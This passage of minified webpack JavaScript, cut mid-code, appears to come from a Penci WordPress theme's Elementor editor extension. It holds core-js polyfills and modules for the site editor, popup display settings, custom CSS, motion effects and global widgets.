r=String(this);if(void 0===e&&0===t)return[];if(!o(e))return n.call(r,e,t);for(var i,a,u,l=[],c=(e.ignoreCase?"i":"")+(e.multiline?"m":"")+(e.unicode?"u":"")+(e.sticky?"y":""),d=0,p=void 0===t?4294967295:t>>>0,m=new RegExp(e.source,c+"g");(i=s.call(m,r))&&!((a=m.lastIndex)>d&&(l.push(r.slice(d,i.index)),i.length>1&&i.index<r.length&&f.apply(l,i.slice(1)),u=i[0].length,d=a,l.length>=p));)m.lastIndex===i.index&&m.lastIndex++;return d===r.length?!u&&m.test("")||l.push(""):l.push(r.slice(d)),l.length>p?l.slice(0,p):l}:"0".split(void 0,0).length?function(e,t){return void 0===e&&0===t?[]:n.call(this,e,t)}:n,[function(n,o){var r=e(this),i=null==n?void 0:n[t];return void 0!==i?i.call(n,r,o):m.call(String(r),n,o)},function(e,t){var o=c(m,e,this,t,m!==n);if(o.done)return o.value;var s=r(e),f=String(this),v=i(s,RegExp),g=s.unicode,h=(s.ignoreCase?"i":"")+(s.multiline?"m":"")+(s.unicode?"u":"")+(p?"y":"g"),y=new v(p?s:"^(?:"+s.source+")",h),_=void 0===t?4294967295:t>>>0;if(0===_)return[];if(0===f.length)return null===l(y,f)?[f]:[];for(var b=0,k=0,w=[];k<f.length;){y.lastIndex=p?k:0;var C,x=l(y,p?f:f.slice(k));if(null===x||(C=d(u(y.lastIndex+(p?0:k)),f.length))===b)k=a(f,k,g);else{if(w.push(f.slice(b,k)),w.length===_)return w;for(var S=1;S<=x.length-1;S++)if(w.push(x[S]),w.length===_)return w;k=b=C}}return w.push(f.slice(b)),w}]})},function(e,t,n){"use strict";var o=n(106),r=n(277),i=n(153),a=n(76);e.exports=n(241)(Array,"Array",function(e,t){this._t=a(e),this._i=0,this._k=t},function(){var e=this._t,t=this._k,n=this._i++;return!e||n>=e.length?(this._t=void 0,r(1)):r(0,"keys"==t?n:"values"==t?e[n]:[n,e[n]])},"values"),i.Arguments=i.Array,o("keys"),o("values"),o("entries")},function(e,t,n){var o=n(170),r=n(152);e.exports=Object.keys||function(e){return o(e,r)}},function(e,t,n){var o=n(17).document;e.exports=o&&o.documentElement},function(e,t,n){"use strict";var o=n(14),r=n(35),i=n(62),a=n(40),u=n(27),l=n(90),s=Object.assign;e.exports=!s||n(20)(function(){var e={},t={},n=Symbol(),o="abcdefghijklmnopqrst";return e[n]=7,o.split("").forEach(function(e){t[e]=e}),7!=s({},e)[n]||Object.keys(s({},t)).join("")!=o})?function(e,t){for(var n=u(e),s=arguments.length,c=1,d=i.f,f=a.f;s>c;)for(var p,m=l(arguments[c++]),v=d?r(m).concat(d(m)):r(m),g=v.length,h=0;g>h;)p=v[h++],o&&!f.call(m,p)||(n[p]=m[p]);return n}:s},,function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(4)),l=r(n(5)),s=r(n(59)),c=o(n(181)),d=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"getNamespace",value:function(){return this.constructor.namespace}},{key:"defaultData",value:function(){return this.importCommands(c)}}]),n}($e.modules.ComponentBase);t.default=d,(0,s.default)(d,"namespace","site-editor")},,function(e,t,n){"use strict";var o=n(99),r=n(51),i=n(31),a=n(29),u=n(153),l=n(278),s=n(189),c=n(281),d=n(13)("iterator"),f=!([].keys&&"next"in[].keys()),p=function(){return this};e.exports=function(e,t,n,m,v,g,h){l(n,t,m);var y,_,b,k=function(e){if(!f&&e in S)return S[e];switch(e){case"keys":case"values":return function(){return new n(this,e)}}return function(){return new n(this,e)}},w=t+" Iterator",C="values"==v,x=!1,S=e.prototype,M=S[d]||S["@@iterator"]||v&&S[v],P=M||k(v),T=v?C?k("entries"):P:void 0,E="Array"==t&&S.entries||M;if(E&&(b=c(E.call(new e)))!==Object.prototype&&b.next&&(s(b,w,!0),o||"function"==typeof b[d]||a(b,d,p)),C&&M&&"values"!==M.name&&(x=!0,P=function(){return M.call(this)}),o&&!h||!f&&!x&&S[d]||a(S,d,P),u[t]=P,u[w]=p,v)if(y={values:C?P:k("values"),keys:g?P:k("keys"),entries:T},h)for(_ in y)_ in S||i(S,_,y[_]);else r(r.P+r.F*(f||x),t,y);return y}},,function(e,t,n){e.exports=n(244)},function(e,t,n){n(92),n(75),n(245),n(250),n(252),e.exports=n(2).WeakMap},function(e,t,n){"use strict";var o,r=n(8),i=n(173)(0),a=n(73),u=n(80),l=n(237),s=n(248),c=n(9),d=n(174),f=n(174),p=!r.ActiveXObject&&"ActiveXObject"in r,m=u.getWeak,v=Object.isExtensible,g=s.ufstore,h=function(e){return function(){return e(this,arguments.length>0?arguments[0]:void 0)}},y={get:function(e){if(c(e)){var t=m(e);return!0===t?g(d(this,"WeakMap")).get(e):t?t[this._i]:void 0}},set:function(e,t){return s.def(d(this,"WeakMap"),e,t)}},_=e.exports=n(249)("WeakMap",h,y,s,!0,!0);f&&p&&(l((o=s.getConstructor(h,"WeakMap")).prototype,y),u.NEED=!0,i(["delete","has","get","set"],function(e){var t=_.prototype,n=t[e];a(t,e,function(t,r){if(c(t)&&!v(t)){this._f||(this._f=new o);var i=this._f[e](t,r);return"set"==e?this:i}return n.call(this,t,r)})}))},function(e,t,n){var o=n(247);e.exports=function(e,t){return new(o(e))(t)}},function(e,t,n){var o=n(9),r=n(87),i=n(11)("species");e.exports=function(e){var t;return r(e)&&("function"!=typeof(t=e.constructor)||t!==Array&&!r(t.prototype)||(t=void 0),o(t)&&null===(t=t[i])&&(t=void 0)),void 0===t?Array:t}},function(e,t,n){"use strict";var o=n(165),r=n(80).getWeak,i=n(12),a=n(9),u=n(166),l=n(149),s=n(173),c=n(16),d=n(174),f=s(5),p=s(6),m=0,v=function(e){return e._l||(e._l=new g)},g=function(){this.a=[]},h=function(e,t){return f(e.a,function(e){return e[0]===t})};g.prototype={get:function(e){var t=h(this,e);if(t)return t[1]},has:function(e){return!!h(this,e)},set:function(e,t){var n=h(this,e);n?n[1]=t:this.a.push([e,t])},delete:function(e){var t=p(this.a,function(t){return t[0]===e});return~t&&this.a.splice(t,1),!!~t}},e.exports={getConstructor:function(e,t,n,i){var s=e(function(e,o){u(e,s,t,"_i"),e._t=t,e._i=m++,e._l=void 0,null!=o&&l(o,n,e[i],e)});return o(s.prototype,{delete:function(e){if(!a(e))return!1;var n=r(e);return!0===n?v(d(this,t)).delete(e):n&&c(n,this._i)&&delete n[this._i]},has:function(e){if(!a(e))return!1;var n=r(e);return!0===n?v(d(this,t)).has(e):n&&c(n,this._i)}}),s},def:function(e,t,n){var o=r(i(t),!0);return!0===o?v(e).set(t,n):o[e._i]=n,e},ufstore:v}},function(e,t,n){"use strict";var o=n(8),r=n(7),i=n(80),a=n(20),u=n(21),l=n(165),s=n(149),c=n(166),d=n(9),f=n(41),p=n(15).f,m=n(173)(0),v=n(14);e.exports=function(e,t,n,g,h,y){var _=o[e],b=_,k=h?"set":"add",w=b&&b.prototype,C={};return v&&"function"==typeof b&&(y||w.forEach&&!a(function(){(new b).entries().next()}))?(b=t(function(t,n){c(t,b,e,"_c"),t._c=new _,null!=n&&s(n,h,t[k],t)}),m("add,clear,delete,forEach,get,has,set,keys,values,entries,toJSON".split(","),function(e){var t="add"==e||"set"==e;e in w&&(!y||"clear"!=e)&&u(b.prototype,e,function(n,o){if(c(this,b,e),!t&&y&&!d(n))return"get"==e&&void 0;var r=this._c[e](0===n?0:n,o);return t?this:r})}),y||p(b.prototype,"size",{get:function(){return this._c.size}})):(b=g.getConstructor(t,e,h,k),l(b.prototype,n),i.NEED=!0),f(b,e),C[e]=b,r(r.G+r.W+r.F,C),y||g.setStrong(b,e,h),b}},function(e,t,n){n(251)("WeakMap")},function(e,t,n){"use strict";var o=n(7);e.exports=function(e){o(o.S,e,{of:function(){for(var e=arguments.length,t=new Array(e);e--;)t[e]=arguments[e];return new this(t)}})}},function(e,t,n){n(253)("WeakMap")},function(e,t,n){"use strict";var o=n(7),r=n(33),i=n(32),a=n(149);e.exports=function(e){o(o.S,e,{from:function(e){var t,n,o,u,l=arguments[1];return r(this),(t=void 0!==l)&&r(l),null==e?new this:(n=[],t?(o=0,u=i(l,arguments[2],2),a(e,!1,function(e){n.push(u(e,o++))})):a(e,!1,n.push,n),new this(n))}})}},,,,,,,,,,,,function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.Templates=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"site-editor/templates/{id}"}}]),n}($e.modules.CommandData);t.Templates=s,(0,l.default)(s,"signature","site-editor/templates");var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ConditionsConfig=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"site-editor/conditions-config/{id}"}}]),n}($e.modules.CommandData);t.ConditionsConfig=s,(0,l.default)(s,"signature","site-editor/conditions-config");var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.TemplatesConditions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"site-editor/templates-conditions/{id}"}}]),n}($e.modules.CommandData);t.TemplatesConditions=s,(0,l.default)(s,"signature","site-editor/templates-conditions");var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.TemplatesConditionsConflicts=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"".concat(n.signature,"/{id}")}}]),n}($e.modules.CommandData);t.TemplatesConditionsConflicts=s,(0,l.default)(s,"signature","site-editor/templates-conditions-conflicts");var c=s;t.default=c},,,,,,,,function(e,t,n){for(var o=n(234),r=n(235),i=n(31),a=n(17),u=n(29),l=n(153),s=n(13),c=s("iterator"),d=s("toStringTag"),f=l.Array,p={CSSRuleList:!0,CSSStyleDeclaration:!1,CSSValueList:!1,ClientRectList:!1,DOMRectList:!1,DOMStringList:!1,DOMTokenList:!0,DataTransferItemList:!1,FileList:!1,HTMLAllCollection:!1,HTMLCollection:!1,HTMLFormElement:!1,HTMLSelectElement:!1,MediaList:!0,MimeTypeArray:!1,NamedNodeMap:!1,NodeList:!0,PaintRequestList:!1,Plugin:!1,PluginArray:!1,SVGLengthList:!1,SVGNumberList:!1,SVGPathSegList:!1,SVGPointList:!1,SVGStringList:!1,SVGTransformList:!1,SourceBufferList:!1,StyleSheetList:!0,TextTrackCueList:!1,TextTrackList:!1,TouchList:!1},m=r(p),v=0;v<m.length;v++){var g,h=m[v],y=p[h],_=a[h],b=_&&_.prototype;if(b&&(b[c]||u(b,c,f),b[d]||u(b,d,h),l[h]=f,y))for(g in o)b[g]||i(b,g,o[g],!0)}},function(e,t){e.exports=function(e,t){return{value:t,done:!!e}}},function(e,t,n){"use strict";var o=n(279),r=n(88),i=n(189),a={};n(29)(a,n(13)("iterator"),function(){return this}),e.exports=function(e,t,n){e.prototype=o(a,{next:r(1,n)}),i(e,t+" Iterator")}},function(e,t,n){var o=n(23),r=n(280),i=n(152),a=n(147)("IE_PROTO"),u=function(){},l=function(){var e,t=n(97)("iframe"),o=i.length;for(t.style.display="none",n(236).appendChild(t),t.src="javascript:",(e=t.contentWindow.document).open(),e.write("<script>document.F=Object<\/script>"),e.close(),l=e.F;o--;)delete l.prototype[i[o]];return l()};e.exports=Object.create||function(e,t){var n;return null!==e?(u.prototype=o(e),n=new u,u.prototype=null,n[a]=e):n=l(),void 0===t?n:r(n,t)}},function(e,t,n){var o=n(39),r=n(23),i=n(235);e.exports=n(22)?Object.defineProperties:function(e,t){r(e);for(var n,a=i(t),u=a.length,l=0;u>l;)o.f(e,n=a[l++],t[n]);return e}},function(e,t,n){var o=n(60),r=n(93),i=n(147)("IE_PROTO"),a=Object.prototype;e.exports=Object.getPrototypeOf||function(e){return e=r(e),o(e,i)?e[i]:"function"==typeof e.constructor&&e instanceof e.constructor?e.constructor.prototype:e instanceof Object?a:null}},,,,,,,,function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(61)),u=o(n(25)),l=o(n(4)),s=o(n(5)),c=function(e){(0,l.default)(n,e);var t=(0,s.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"run",value:function(){var e;this.component=this.component||$e.components.get("document/popup");for(var t=arguments.length,o=new Array(t),r=0;r<t;r++)o[r]=arguments[r];return(e=(0,a.default)((0,u.default)(n.prototype),"run",this)).call.apply(e,[this].concat(o))}}]),n}($e.modules.hookUI.After);t.default=c},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(1),r=o(n(352)),i=o(n(353)),a=o(n(354)),u=o(n(367)),l=o(n(380)),s=o(n(401)),c=o(n(427)),d=o(n(431)),f=Marionette.Application.extend({config:{},modules:{},initModules:function(){var e=n(432),t=n(434),o=n(436),f=n(437),p=n(438),m=n(440);this.modules={queryControl:new e,forms:new s.default,library:new t,customCSS:new r.default,globalWidget:new u.default,flipBox:new o,motionFX:new i.default,shareButtons:new f,assetsManager:new p,themeElements:new m,themeBuilder:new l.default,siteEditor:new d.default,screenshots:new c.default,popup:new a.default}},ajax:{prepareArgs:function(e){return e[0]="penci_"+e[0],e},send:function(){return elementorCommon.ajax.send.apply(elementorCommon.ajax,this.prepareArgs(arguments))},addRequest:function(){return elementorCommon.ajax.addRequest.apply(elementorCommon.ajax,this.prepareArgs(arguments))}},translate:function(e,t){return elementorCommon.translate(e,null,t,this.config.i18n)},onStart:function(){var e=this;this.config=PenciElementorConfig,this.initModules(),jQuery(window).on("elementor:init",function(){return e.onElementorInit()})},onElementorInit:function(){var e=this;elementor.on("preview:loaded",function(){return e.onElementorPreviewLoaded()})},onElementorPreviewLoaded:function(){elementor.$preview[0].contentWindow.elementorPenci=this},libraryRemoveGetProButtons:function(){},onActivateSuccess:function(){elementor.noticeBar.onCloseClick(),elementor.config.library_connect.is_connected=!0,elementorPenci.config.isActive=!0,elementor.notifications.showToast({message:elementor.translate("connected_successfully")})}});window.elementorPenci=new f,elementorPenci.start()},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0,n(101);var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"addCustomCss",value:function(e,t){if(t){var n=t.model,o=n.get("settings").get("custom_css"),r=".elementor-element.elementor-element-"+n.get("id");return"document"===n.get("elType")&&(r=elementor.config.document.settings.cssWrapperSelector),o&&(e+=o.replace(/selector/g,r)),e}}},{key:"onElementorInit",value:function(){elementor.hooks.addFilter("editor/style/styleText",this.addCustomCss),elementor.on("navigator:init",this.onNavigatorInit.bind(this))}},{key:"onNavigatorInit",value:function(){elementor.navigator.indicators.customCSS={icon:"code-bold",settingKeys:["custom_css"],title:elementorPenci.translate("custom_css"),section:"section_custom_css"}}}]),n}(elementorModules.editor.utils.Module);t.default=l},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"onElementorInit",value:function(){elementor.on("navigator:init",this.onNavigatorInit.bind(this))}},{key:"onNavigatorInit",value:function(){elementor.navigator.indicators.motionFX={icon:"flash",title:elementorPenci.translate("motion_effects"),settingKeys:["motion_fx_motion_fx_scrolling","motion_fx_motion_fx_mouse","background_motion_fx_motion_fx_scrolling","background_motion_fx_motion_fx_mouse"],section:"section_effects"}}}]),n}(elementorModules.editor.utils.Module);t.default=l},function(e,t,n){"use strict";var o=n(1),r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(355)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){var e;(0,r.default)(this,n);for(var o=arguments.length,i=new Array(o),a=0;a<o;a++)i[a]=arguments[a];return(e=t.call.apply(t,[this].concat(i))).displaySettingsTypes={triggers:{icon:"eicon-click"},timing:{icon:"eicon-cog"}},e}return(0,i.default)(n,[{key:"onElementorLoaded",value:function(){this.component=$e.components.register(new l.default({manager:this}))}}]),n}(elementorModules.editor.utils.Module);e.exports=s},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(66)),l=r(n(4)),s=r(n(5)),c=r(n(59)),d=o(n(356)),f=function(e){(0,l.default)(n,e);var t=(0,s.default)(n);function n(){var e;(0,i.default)(this,n);for(var o=arguments.length,r=new Array(o),a=0;a<o;a++)r[a]=arguments[a];return e=t.call.apply(t,[this].concat(r)),(0,c.default)((0,u.default)(e),"onPageSettingsCloseHandler",null),e}return(0,a.default)(n,[{key:"getNamespace",value:function(){return"document/popup"}},{key:"defaultHooks",value:function(){return this.importHooks(d)}}]),n}($e.modules.ComponentBase);t.default=f},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i=n(357);o(i).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return i[e]}})});var a=n(359);o(a).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return a[e]}})})},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"PopupSave",{enumerable:!0,get:function(){return r.PopupSave}});var r=n(358)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupSave=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getId",value:function(){return"elementor-pro-popup-save"}},{key:"getConditions",value:function(){return"popup"===elementor.config.document.type}},{key:"apply",value:function(){var e={};jQuery.each(elementorPenci.modules.popup.displaySettingsTypes,function(t,n){e[t]=n.model.toJSON({remove:["default"]})}),elementorPenci.ajax.addRequest("popup_save_display_settings",{data:{settings:e}})}}]),n}($e.modules.hookData.After);t.PopupSave=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"PopupAddInstructions",{enumerable:!0,get:function(){return r.PopupAddInstructions}}),o(t,"PopupAddLibraryTab",{enumerable:!0,get:function(){return i.PopupAddLibraryTab}}),o(t,"PopupAddTriggers",{enumerable:!0,get:function(){return a.PopupAddTriggers}}),o(t,"PopupRemoveInstructions",{enumerable:!0,get:function(){return u.PopupRemoveInstructions}}),o(t,"PopupRemoveLibraryTab",{enumerable:!0,get:function(){return l.PopupRemoveLibraryTab}}),o(t,"PopupRemoveTriggers",{enumerable:!0,get:function(){return s.PopupRemoveTriggers}});var r=n(360),i=n(361),a=n(362),u=n(364),l=n(365),s=n(366)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupAddInstructions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-popup-add-instructions"}},{key:"getConditions",value:function(e){return"popup"===elementor.documents.get(e.id).config.type&&!elementor.config.user.introduction.popupSettings}},{key:"apply",value:function(){this.component.onPageSettingsCloseHandler=this.onPageSettingsClose.bind(this),$e.components.get("panel/page-settings").on("route/close",this.component.onPageSettingsCloseHandler)}},{key:"onPageSettingsClose",value:function(){var e=this.getIntroduction();e.show(elementor.getPanelView().footer.currentView.ui.settings[0]),e.setViewed(),$e.components.get("panel/page-settings").off("route/close",this.component.onPageSettingsCloseHandler)}},{key:"getIntroduction",value:function(){return new elementorModules.editor.utils.Introduction({introductionKey:"popupSettings",dialogOptions:{id:"elementor-popup-settings-introduction",headerMessage:'<i class="eicon-info"></i>'+elementorPenci.translate("popup_settings_introduction_title"),message:elementorPenci.translate("popup_settings_introduction_message"),closeButton:!0,closeButtonClass:"eicon-close",position:{my:"left bottom",at:"right bottom-5",autoRefresh:!0},hide:{onOutsideClick:!1}}})}}]),n}(o(n(289)).default);t.PopupAddInstructions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupAddLibraryTab=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-popup-add-library-tab"}},{key:"getConditions",value:function(e){return"popup"===elementor.documents.get(e.id).config.type}},{key:"apply",value:function(){$e.components.get("library").addTab("templates/popups",{title:elementorPenci.translate("popups"),filter:{source:"remote",type:"popup"}},1)}}]),n}($e.modules.hookUI.After);t.PopupAddLibraryTab=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupAddTriggers=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(363)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-popup-add-triggers"}},{key:"getConditions",value:function(e){return"popup"===elementor.documents.get(e.id).config.type}},{key:"apply",value:function(){elementor.panel?this.addUI():elementor.on("preview:loaded",this.addUI.bind(this))}},{key:"addUI",value:function(){this.addPanelFooterSubmenuItems(),this.addPublishTabs()}},{key:"addPublishTabs",value:function(){var e=elementor.config.document.displaySettings,t=$e.components.get("theme-builder-publish"),n=elementorPenci.modules.popup;jQuery.each(n.displaySettingsTypes,function(n,o){o.model=new elementorModules.editor.elements.models.BaseSettings(e[n].settings,{controls:e[n].controls}),t.addTab(n,{View:l.default,viewOptions:{name:n,id:"elementor-popup-".concat(n,"__controls"),model:o.model,controls:o.model.controls},name:n,title:elementorPenci.translate(n),description:elementorPenci.translate("popup_publish_screen_".concat(n,"_description")),image:elementorPenci.config.urls.modules+"popup/assets/images/".concat(n,"-tab.svg")})})}},{key:"addPanelFooterSubmenuItems",value:function(){var e=$e.components.get("theme-builder-publish"),t=elementorPenci.modules.popup.displaySettingsTypes;jQuery.each(t,function(t,n){elementor.getPanelView().footer.currentView.addSubMenuItem("saver-options",{before:"save-template",name:t,icon:n.icon,title:elementorPenci.translate(t),callback:function(){return $e.route(e.getTabRoute(t))}})})}}]),n}($e.modules.hookUI.After);t.PopupAddTriggers=s;var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(48));n(101);var i=o(n(3)),a=o(n(6)),u=o(n(61)),l=o(n(25)),s=o(n(4)),c=o(n(5)),d=function(e){(0,s.default)(n,e);var t=(0,c.default)(n);function n(){var e;(0,i.default)(this,n);for(var o=arguments.length,r=new Array(o),a=0;a<o;a++)r[a]=arguments[a];return(e=t.call.apply(t,[this].concat(r))).template=_.noop,e.activeTab="content",e.listenTo(e.model,"change",e.onModelChange),e}return(0,a.default)(n,[{key:"getNamespaceArray",value:function(){return["popup","display-settings"]}},{key:"className",value:function(){return(0,u.default)((0,l.default)(n.prototype),"className",this).call(this)+" elementor-popup__display-settings"}},{key:"toggleGroup",value:function(e,t){t.toggleClass("elementor-active",!!this.model.get(e))}},{key:"onRenderTemplate",value:function(){this.activateFirstSection()}},{key:"onRender",value:function(){var e,t=this,n=this.getOption("name");this.children.each(function(o){if("heading"===o.model.get("type")){var r=o.model.get("name").replace("_heading","");e=jQuery("<div>",{id:"elementor-popup__".concat(n,"-controls-group--").concat(r),class:"elementor-popup__display-settings_controls_group"});var i=jQuery("<div>",{class:"elementor-popup__display-settings_controls_group__icon"}),a=jQuery("<img>",{src:elementorPenci.config.urls.modules+"popup/assets/images/".concat(n,"/").concat(r,".svg")});i.html(a),e.html(i),o.$el.before(e),e.append(o.$el),t.toggleGroup(r,e)}else e&&e.append(o.$el)})}},{key:"onModelChange",value:function(){var e=(0,r.default)(this.model.changed)[0],t=this.getControlViewByName(e);"switcher"===t.model.get("type")&&this.toggleGroup(e,t.$el.parent())}}]),n}(elementorModules.editor.views.ControlsStack);t.default=d},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupRemoveInstructions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/unload"}},{key:"getId",value:function(){return"elementor-pro-popup-remove-instructions"}},{key:"getConditions",value:function(e){return"popup"===e.document.config.type&&!elementor.config.user.introduction.popupSettings}},{key:"apply",value:function(){$e.components.get("panel/page-settings").off("route/close",this.component.onPageSettingsCloseHandler)}}]),n}(o(n(289)).default);t.PopupRemoveInstructions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupRemoveLibraryTab=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/unload"}},{key:"getId",value:function(){return"elementor-pro-popup-remove-library-tab"}},{key:"getConditions",value:function(e){return"popup"===e.document.config.type}},{key:"apply",value:function(){$e.components.get("library").removeTab("templates/popups")}}]),n}($e.modules.hookUI.After);t.PopupRemoveLibraryTab=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupRemoveTriggers=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/unload"}},{key:"getId",value:function(){return"elementor-pro-popup-remove-triggers"}},{key:"getConditions",value:function(e){return"popup"===e.document.config.type}},{key:"apply",value:function(){this.removePanelFooterSubmenuItems(),this.removePublishTabs()}},{key:"removePanelFooterSubmenuItems",value:function(){var e=elementorPenci.modules.popup.displaySettingsTypes;jQuery.each(e,function(e){elementor.getPanelView().footer.currentView.removeSubMenuItem("saver-options",{name:e})})}},{key:"removePublishTabs",value:function(){var e=$e.components.get("theme-builder-publish"),t=elementorPenci.modules.popup.displaySettingsTypes;jQuery.each(t,function(t){e.removeTab(t)})}}]),n}($e.modules.hookUI.After);t.PopupRemoveTriggers=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(182)),i=o(n(48)),a=o(n(3)),u=o(n(6)),l=o(n(4)),s=o(n(5)),c=o(n(368)),d=function(e){(0,l.default)(o,e);var t=(0,s.default)(o);function o(){var e;(0,a.default)(this,o);for(var n=arguments.length,r=new Array(n),i=0;i<n;i++)r[i]=arguments[i];return(e=t.call.apply(t,[this].concat(r))).globalModels={},e.panelWidgets=null,e.templatesAreSaved=!0,e}return(0,u.default)(o,[{key:"addGlobalWidget",value:function(e,t){t=_.extend({},t,{categories:[],icon:elementor.widgetsCache[t.widgetType].icon,widgetType:t.widgetType,custom:{templateID:e}});var n=this.createGlobalModel(e,t);return this.panelWidgets.add(n)}},{key:"createGlobalModel",value:function(e,t){var n=new elementor.modules.elements.models.Element(t),o=n.get("settings");return n.set("id",e),o.on("change",_.bind(this.onGlobalModelChange,this)),this.globalModels[e]=n}},{key:"onGlobalModelChange",value:function(){this.templatesAreSaved=!1}},{key:"setWidgetType",value:function(){elementor.hooks.addFilter("element/view",function(e,t){return t.get("templateID")?n(375):e}),elementor.hooks.addFilter("element/model",function(e,t){return 